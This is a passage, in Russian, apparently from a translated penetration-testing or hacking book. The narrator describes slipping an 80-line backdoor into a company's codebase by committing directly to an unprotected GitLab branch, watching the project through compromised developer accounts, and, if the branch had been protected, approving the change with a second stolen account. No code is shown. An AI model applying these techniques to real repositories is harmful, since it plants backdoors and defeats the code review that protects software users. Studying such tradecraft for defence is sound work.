У нас имеется окончательная версия своего потайного хода. Последний шаг - внедрить эти строки в кодовую базу Strat Accounting. Но как? Стандарты кодирования Strat Jumbo настоятельно рекомендуют классический способ рецензирования, применяемый во многих компаниях, в которых каждый разработчик рабоатет над отдельной ветвью Git и, когда его код готов к, он создаёт запрос на слияние, который должен пройти множество модульных проверок и быть одобренным коллегами. Только тогда этот код будет включён в основную ветвь. Мы не можем себе позволить пристальное внимание, сколь незаметным не был бы наш код.

Мы следуем на соответствующую страницу GitLab базы кода Strat Accounting и изучаем открытые в данный момент ветви; возможно, мы сможем перехватить некую открытую ветвь, которая уже была одобрена в надежде, что она будет объединена без повторной проверки. Однако, взглянув на перечень ветвей, мы замечаем нечто интересное, показанное на Рисунке 12.7.

 

Рисунок 12.7


Список текущих ветвей Git в репозитории Strat Accounting

Сама ветвь G&S_TRUST, содержащая весь отправленный в G&S_TRUST пользовательский код, не помечена как "защищённая". Функция защиты ветви в GitLab запрещает прямые изменения ветви, вынуждая разработчиков создавать содержащие их код запросы на слияние. Затем эти запросы должны быть одобрены одним или несколькими коллегами, как было описано ранее. Но в отсутствие флага защиты любой разработчик может непосредственно добавлять код в ветвь G&S_TRUST, не проходя предусмотренного в документации процесса проверки. Мы переключаемся на эту ветвь и применяем веб- редактор GitLab чтобы добавить 80 строк кода, составляющих наш потайной ход. Мы нажимаем кнопку Commit и готовы к продолжению.

Готово. Вот и я об этом, парни! Теперь самое сложное - ожидание!

Благодаря большому числу учётных записей, принимающих участие в проекте Strat Accounting, к которым мы получили доступ, мы можем время от времени подключаться к этому репозиторию и следить за общим графиком проекта, не вызывая немедленных подозрений. Если всё пойдёт как надо, всего через три- пять недель посыплется дождь оболочек!

[Замечание]Замечание

Функция защиты ветвей предполагает некую защиту от простых сценариев атак, но она терпит неудачу, когда злоумышленник контролирует более одной учётной записи. Если бы G&S_TRUST была защищена, мы бы создали новую ветвь с учётной записью Элизы, а затем переключились бы на учётную запись другого разработчика для утверждения и слияния этих изменений.

Ресурсы